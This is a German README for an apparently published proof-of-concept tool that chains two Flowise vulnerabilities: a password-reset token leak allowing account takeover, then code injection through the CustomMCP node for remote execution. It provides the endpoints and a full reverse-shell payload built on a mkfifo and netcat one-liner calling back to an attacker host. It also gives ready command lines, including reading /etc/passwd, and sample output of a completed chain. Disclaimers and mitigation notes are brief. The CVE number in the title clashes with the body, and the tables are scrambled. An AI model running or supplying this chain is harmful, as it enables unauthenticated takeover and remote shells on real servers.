
Combined PoC for CVE-2025-28434 and CVE-2025-59528
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Die Ausführung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.
Dieses Repository kombiniert zwei kritische Sicherheitslücken in Flowise zu einem einzigen, modularen PoC-Tool.
Die beiden Schwachstellen verketten sich natürlich: CVE-2025-58434 ermöglicht eine nicht authentifizierte Account-Übernahme, was die Authentifizierungsanforderung für CVE-2025-59528 erfüllt – und in einem einzigen automatisierten Durchlauf nicht authentifizierte RCE erreicht.
Grundursache: Der Endpunkt forgot-password gibt den Passwort-Reset-Token (tempToken) direkt im HTTP-Antworttext zurück, anstatt ihn nur per E-Mail zu senden.
Angriffsschritte:
POST /api/v1/account/forgot-password mit einer beliebigen registrierten E-MailtempToken aus der JSON-Antwort auslesen – kein E-Mail-Zugriff erforderlichPOST /api/v1/account/reset-password mit dem durchgesickerten Token → neues Passwort setzenDurchgesickerte Antwort (gekürzt):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Grundursache: Der Knoten CustomMCP übergibt benutzergesteuertes mcpServerConfig direkt an den Function()-Konstruktor von JavaScript, ohne Bereinigung. Da Flowise in Node.js läuft, hat injizierter Code vollständigen Zugriff auf child_process, fs und alle Node.js-Builtins.
Verwundbarer Codepfad:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unbereinigte Benutzereingabe
Erforderliche Header:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Standard-Injektionspayload (Reverse Shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Hinweis: Reverse-Shell-Payloads verwenden
cp.exec()(asynchron / Fire-and-Forget), sodass die HTTP-Anfrage sofort zurückkehrt und das Tool nicht aus Zeitüberschreitung ausfällt. Normale Befehle verwendencp.execSync()und geben die Ausgabe inline zurück.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Komponente | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Von CVE-2025-58434 betroffen |
| Flowise selbst gehostet (alle Versionen vor dem Patch) | Von beiden CVEs betroffen |
Weitere Informationen finden Sie in den offiziellen Flowise-Sicherheitsadvisories für die Versionen mit Patch.
flowise-dual-cve-poc/
├── flowise_poc.py # Haupt-PoC – alle Module + Kettenmodus
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
└── DISCLAIMER.md # Vollständiger rechtlicher Hinweis
requests-Bibliothekgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Es ist kein Modus-Flag erforderlich. Wenn Sie das Skript ohne --chain oder --module ausführen, läuft es automatisch im vollständigen Kettenmodus. Der Standard-RCE-Payload ist eine Reverse Shell – geben Sie einfach --lhost und --lport an.
# Minimale Ausführung – vollständige Kette + Reverse Shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Starten Sie Ihren Listener vor der Ausführung:
nc -lvnp 4444
python3 flowise_poc.py -h
Führt alle vier Schritte Ende-zu-Ende aus: Token durchsickern lassen → Passwort zurücksetzen → Anmelden → RCE.
# Reverse Shell (Standard-Payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Eigener Befehl anstelle von Reverse Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Benutzerdefiniertes ATO-Passwort + Reverse Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Lässt den tempToken durchsickern und setzt das Passwort des Kontos zurück. Stoppt vor Login/RCE.
# Standard-Neues-Passwort
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Benutzerdefiniertes Neues-Passwort
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Rohe JSON-Antwort ausgeben
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Authentifizieren und die drei Sitzungs-Cookies für die manuelle Verwendung extrahieren.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON-Ausgabe für Skripterstellung
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Auf dem Server ausführen. Führt automatisch einen Login durch, wenn --token nicht angegeben ist.
# Reverse Shell – automatischer Login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Eigener Befehl – automatischer Login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Manueller Token – Reverse Shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# Alle drei Cookies manuell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Flag | Beschreibung |
|---|---|
--chain | Vollständige Kette: ATO → Login → RCE |
--module ato | Nur Account-Übernahme |
| Flag | Kurz | Beschreibung | Erforderlich |
|---|---|---|---|
--url | -u | Basis-URL der Flowise-Instanz |
| Flag | Kurz | Beschreibung | Standard |
|---|---|---|---|
--new-password | -p | Passwort, das nach ATO für das Opferkonto gesetzt wird | Flowise@Pwn3d2025! |
| Flag | Kurz | Beschreibung | Standard |
|---|
Das Skript wählt automatisch den richtigen Ausführungsmodus:
Asynchrone Ausführung bedeutet, dass die HTTP-Anfrage sofort abgeschlossen wird – keine Timeout-Fehler bei Reverse-Shell-Payloads.
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
tempToken nur per registrierter E-Mail.forgot-password.Function(), eval() oder vm.runInThisContext() übergeben.mcpServerConfig als reine Daten (z. B. JSON.parse()) – führen Sie es niemals aus.| Datum | Ereignis |
|---|---|
| 2025-08-19 | CVE-2025-58434 entdeckt und gemeldet |
| TBD | CVE-2025-59528 entdeckt und gemeldet |
| TBD |
Nur für Bildungszwecke und autorisierte Penetrationstests.
Für den vollständigen rechtlichen Hinweis siehe DISCLAIMER.md.
| CVE-2025-58434 | CVE-2025-59528 |
|---|
| Typ | Account-Übernahme | Remote-Code-Ausführung |
| Authentifizierung erforderlich | Keine | Ja (jedes gültige Konto) |
| CVSS | 9,8 Kritisch | Kritisch |
| Betroffen | Cloud + Selbst gehostet | Selbst gehostet |
--module login |
| Nur Login und Cookies extrahieren |
--module rce | Nur RCE |
| Immer |
--email | -e | Ziel-/Login-E-Mail | Immer |
| Flag | Kurz | Beschreibung |
|---|
--login-password | -P | Passwort für das Login-Modul / RCE-Auto-Login |
--token | — | Cookie token manuell angeben (überspringt Login) |
--refresh-token | — | Cookie refreshToken manuell angeben |
--connect-sid | — | Cookie connect.sid manuell angeben |
| Flag | Kurz | Beschreibung | Standard |
|---|
--lhost | — | Angreifer-IP für Reverse Shell | — |
--lport | — | Angreifer-Port für Reverse Shell | — |
--command | -c | Eigener OS-Befehl (überschreibt Revshell) | id, wenn kein lhost/lport |
--timeout | -t | HTTP-Timeout (Sekunden) | 15 |
--json-output | -j | Rohe JSON-Antworten ausgeben | false |
| Szenario | Verwendeter Payload | HTTP-Verhalten |
|---|
--lhost + --lport (kein -c) | mkfifo-Netcat-Einzeiler | cp.exec() – asynchron, gibt sofort zurück |
-c "..." mit nc/mkfifo/bash -i | als Revshell erkannt | cp.exec() – asynchron, gibt sofort zurück |
-c "id" oder ein anderer normaler Befehl | Benutzerbefehl | cp.execSync() – blockiert, gibt Ausgabe zurück |
kein -c, kein --lhost | id | cp.execSync() – blockiert, gibt Ausgabe zurück |
| Bestätigung durch den Hersteller |
| TBD | Patch veröffentlicht |
| TBD | Öffentliche Offenlegung |